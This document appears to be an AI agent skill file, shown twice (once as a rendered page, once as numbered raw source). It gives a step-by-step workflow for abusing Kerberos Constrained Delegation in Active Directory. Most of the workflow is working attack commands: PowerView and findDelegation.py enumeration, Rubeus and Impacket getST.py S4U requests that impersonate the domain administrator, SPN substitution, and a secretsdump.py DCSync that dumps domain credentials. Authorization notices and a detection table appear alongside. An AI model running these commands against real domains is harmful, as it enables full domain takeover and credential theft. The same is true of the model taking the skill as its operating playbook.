TL;DR
- 目的:>- Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus…
- 适用:AD/网络/红队场景(项目全量测试)
- 输入:AD 域 + 已获账号(具备 RBCD/constrained delegation 权限)
- 输出:渗透证据链 + 复现步骤
- 红线:仅 A 模式项目全量测试,B 模式禁用;禁止未授权使用
- 关联:上游:003-src-session-start → 下游:097-exploiting-active-directory-with-bloodhound, 098-exploiting-adcs-with-certipy, 088-analyzing-active-directory-acl-abuse
Exploiting Constrained Delegation Abuse
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.
When to Use
- When performing authorized security testing that involves exploiting constrained delegation abuse
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate accounts with Constrained Delegation configured in the domain
- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
- Exploit S4U2self and S4U2proxy to impersonate Domain Admin
- Obtain service tickets for delegated services as a privileged user
- Access delegated services (CIFS, LDAP, HTTP) on target hosts
- Escalate to Domain Admin through Constrained Delegation abuse
MITRE ATT&CK Mapping
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1134.001 - Access Token Manipulation: Token Impersonation/Theft
- T1078.002 - Valid Accounts: Domain Accounts
- T1021 - Remote Services
Workflow
Phase 1: Enumerate Constrained Delegation
- Find accounts with Constrained Delegation using PowerView:
# Find users with Constrained Delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# Find computers with Constrained Delegation
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# Using AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
- Using Impacket findDelegation.py:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
- Using BloodHound CE:
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
- Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
Phase 2: Exploit with Rubeus (Windows)
- If you have the password or hash of the constrained delegation account:
# Request TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
# Perform S4U2self + S4U2proxy to impersonate administrator
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /ptt
# Alternative: specify alternate service name
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
- Combined TGT request and S4U in single command:
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
Phase 3: Exploit with Impacket (Linux)
- Request service ticket via S4U protocol extensions:
# Using getST.py with S4U
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
# Using hash instead of password
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-dc-ip 10.10.10.1 domain.local/svc_sql
# Use the obtained ticket
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
Phase 4: Alternate Service Name Abuse
- Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:
# Request CIFS ticket, then use it for LDAP (DCSync)
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-altservice LDAP/DC01.domain.local \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
- This technique works because the service name in the ticket is not cryptographically bound to the session key
Phase 5: Protocol Transition Attack
- If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:
# S4U2self obtains a forwardable ticket without requiring the user to authenticate
# This means we can impersonate ANY user without their password
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
- Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)
Tools & Systems
| Tool |
Purpose |
Platform |
| Rubeus |
S4U Kerberos ticket manipulation |
Windows (.NET) |
| getST.py |
S4U service ticket requests (Impacket) |
Linux (Python) |
| findDelegation.py |
Delegation enumeration (Impacket) |
Linux (Python) |
| PowerView |
AD delegation enumeration |
Windows (PowerShell) |
| BloodHound CE |
Visual delegation path analysis |
Docker |
| Kekeo |
Advanced Kerberos toolkit |
Windows |
Delegation Types Comparison
| Type |
Attribute |
Scope |
Attack Complexity |
| Unconstrained |
TRUSTED_FOR_DELEGATION |
Any service |
Low (capture TGTs) |
| Constrained |
msDS-AllowedToDelegateTo |
Specific SPNs |
Medium (S4U abuse) |
| Constrained + Protocol Transition |
+ TRUSTED_TO_AUTH_FOR_DELEGATION |
Specific SPNs |
Medium (no user auth needed) |
| Resource-Based (RBCD) |
msDS-AllowedToActOnBehalfOfOtherIdentity |
On target |
Medium (writable attribute) |
Detection Signatures
| Indicator |
Detection Method |
| S4U2self ticket requests |
Event 4769 with unusual service and impersonation |
| S4U2proxy forwarded tickets |
Event 4769 with delegation flags set |
| Alternate service name in ticket |
Mismatch between requested SPN and actual service access |
| Rubeus.exe execution |
EDR process detection, command-line logging |
| Delegation configuration changes |
Event 5136 for msDS-AllowedToDelegateTo modifications |
Validation Criteria
Output Format
{
"attack_path": "<chain summary>",
"steps": [
{"step": 1, "action": "<technique>", "tool": "<tool>", "result": "<outcome>"},
...
],
"evidence": "<log/screenshot path>",
"impact": "<DA/Admin/DC compromise / credential dump / etc>",
"cleanup": "<artifact removal checklist>"
}
Save to share/intel/findings/<target>-<ad-<timestamp>.md.
1---2name: exploiting-constrained-delegation-abuse3description: Perform exploiting constrained delegation abuse assessment during authorized security testing. Use this skill when indicators of the vulnerability class are present in the target environment.4license: Apache-2.05---67## TL;DR89- **目的**:>- Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus…10- **适用**:AD/网络/红队场景(项目全量测试)11- **输入**:AD 域 + 已获账号(具备 RBCD/constrained delegation 权限)12- **输出**:渗透证据链 + 复现步骤13- **红线**:**仅 A 模式项目全量测试**,B 模式禁用;禁止未授权使用14- **关联**:上游:003-src-session-start → 下游:097-exploiting-active-directory-with-bloodhound, 098-exploiting-adcs-with-certipy, 088-analyzing-active-directory-acl-abuse1516# Exploiting Constrained Delegation Abuse171819> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.2021## Overview2223Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.242526## When to Use2728- When performing authorized security testing that involves exploiting constrained delegation abuse29- When analyzing malware samples or attack artifacts in a controlled environment30- When conducting red team exercises or penetration testing engagements31- When building detection capabilities based on offensive technique understanding3233## Prerequisites3435- Familiarity with red teaming concepts and tools36- Access to a test or lab environment for safe execution37- Python 3.8+ with required dependencies installed38- Appropriate authorization for any testing activities3940## Objectives4142- Enumerate accounts with Constrained Delegation configured in the domain43- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services44- Exploit S4U2self and S4U2proxy to impersonate Domain Admin45- Obtain service tickets for delegated services as a privileged user46- Access delegated services (CIFS, LDAP, HTTP) on target hosts47- Escalate to Domain Admin through Constrained Delegation abuse4849## MITRE ATT&CK Mapping5051- **T1558.003** - Steal or Forge Kerberos Tickets: Kerberoasting52- **T1550.003** - Use Alternate Authentication Material: Pass the Ticket53- **T1134.001** - Access Token Manipulation: Token Impersonation/Theft54- **T1078.002** - Valid Accounts: Domain Accounts55- **T1021** - Remote Services5657## Workflow5859### Phase 1: Enumerate Constrained Delegation601. Find accounts with Constrained Delegation using PowerView:61 ```powershell62 # Find users with Constrained Delegation63 Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto6465 # Find computers with Constrained Delegation66 Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto6768 # Using AD Module69 Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl70 ```712. Using Impacket findDelegation.py:72 ```bash73 findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.174 ```753. Using BloodHound CE:76 ```cypher77 MATCH (c) WHERE c.allowedtodelegate IS NOT NULL78 RETURN c.name, c.allowedtodelegate79 ```804. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):81 ```powershell82 # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION83 Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol84 ```8586### Phase 2: Exploit with Rubeus (Windows)871. If you have the password or hash of the constrained delegation account:88 ```powershell89 # Request TGT for the constrained delegation account90 Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>9192 # Perform S4U2self + S4U2proxy to impersonate administrator93 Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \94 /msdsspn:CIFS/DC01.domain.local /ptt9596 # Alternative: specify alternate service name97 Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \98 /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt99 ```1002. Combined TGT request and S4U in single command:101 ```powershell102 Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \103 /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt104 ```105106### Phase 3: Exploit with Impacket (Linux)1071. Request service ticket via S4U protocol extensions:108 ```bash109 # Using getST.py with S4U110 getST.py -spn CIFS/DC01.domain.local -impersonate administrator \111 -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'112113 # Using hash instead of password114 getST.py -spn CIFS/DC01.domain.local -impersonate administrator \115 -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \116 -dc-ip 10.10.10.1 domain.local/svc_sql117118 # Use the obtained ticket119 export KRB5CCNAME=administrator.ccache120 smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local121 ```122123### Phase 4: Alternate Service Name Abuse1241. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:125 ```bash126 # Request CIFS ticket, then use it for LDAP (DCSync)127 getST.py -spn CIFS/DC01.domain.local -impersonate administrator \128 -altservice LDAP/DC01.domain.local \129 -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'130131 export KRB5CCNAME=administrator.ccache132 secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local133 ```1342. This technique works because the service name in the ticket is not cryptographically bound to the session key135136### Phase 5: Protocol Transition Attack1371. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:138 ```bash139 # S4U2self obtains a forwardable ticket without requiring the user to authenticate140 # This means we can impersonate ANY user without their password141 getST.py -spn CIFS/DC01.domain.local -impersonate administrator \142 -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'143 ```1442. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)145146## Tools & Systems147148| Tool | Purpose | Platform |149|------|---------|----------|150| Rubeus | S4U Kerberos ticket manipulation | Windows (.NET) |151| getST.py | S4U service ticket requests (Impacket) | Linux (Python) |152| findDelegation.py | Delegation enumeration (Impacket) | Linux (Python) |153| PowerView | AD delegation enumeration | Windows (PowerShell) |154| BloodHound CE | Visual delegation path analysis | Docker |155| Kekeo | Advanced Kerberos toolkit | Windows |156157## Delegation Types Comparison158159| Type | Attribute | Scope | Attack Complexity |160|------|-----------|-------|-------------------|161| Unconstrained | TRUSTED_FOR_DELEGATION | Any service | Low (capture TGTs) |162| Constrained | msDS-AllowedToDelegateTo | Specific SPNs | Medium (S4U abuse) |163| Constrained + Protocol Transition | + TRUSTED_TO_AUTH_FOR_DELEGATION | Specific SPNs | Medium (no user auth needed) |164| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | On target | Medium (writable attribute) |165166## Detection Signatures167168| Indicator | Detection Method |169|-----------|-----------------|170| S4U2self ticket requests | Event 4769 with unusual service and impersonation |171| S4U2proxy forwarded tickets | Event 4769 with delegation flags set |172| Alternate service name in ticket | Mismatch between requested SPN and actual service access |173| Rubeus.exe execution | EDR process detection, command-line logging |174| Delegation configuration changes | Event 5136 for msDS-AllowedToDelegateTo modifications |175176## Validation Criteria177178- [ ] Accounts with Constrained Delegation enumerated179- [ ] Delegation targets (msDS-AllowedToDelegateTo) identified180- [ ] S4U2self ticket obtained for target user181- [ ] S4U2proxy ticket forwarded to delegation target182- [ ] Privileged access to delegated service validated183- [ ] Alternate service name substitution tested184- [ ] Protocol transition capability assessed185- [ ] Evidence documented with ticket exports and access proof186187## Output Format188189```json190{191 "attack_path": "<chain summary>",192 "steps": [193 {"step": 1, "action": "<technique>", "tool": "<tool>", "result": "<outcome>"},194 ...195 ],196 "evidence": "<log/screenshot path>",197 "impact": "<DA/Admin/DC compromise / credential dump / etc>",198 "cleanup": "<artifact removal checklist>"199}200```201202Save to `share/intel/findings/<target>-<ad-<timestamp>.md`.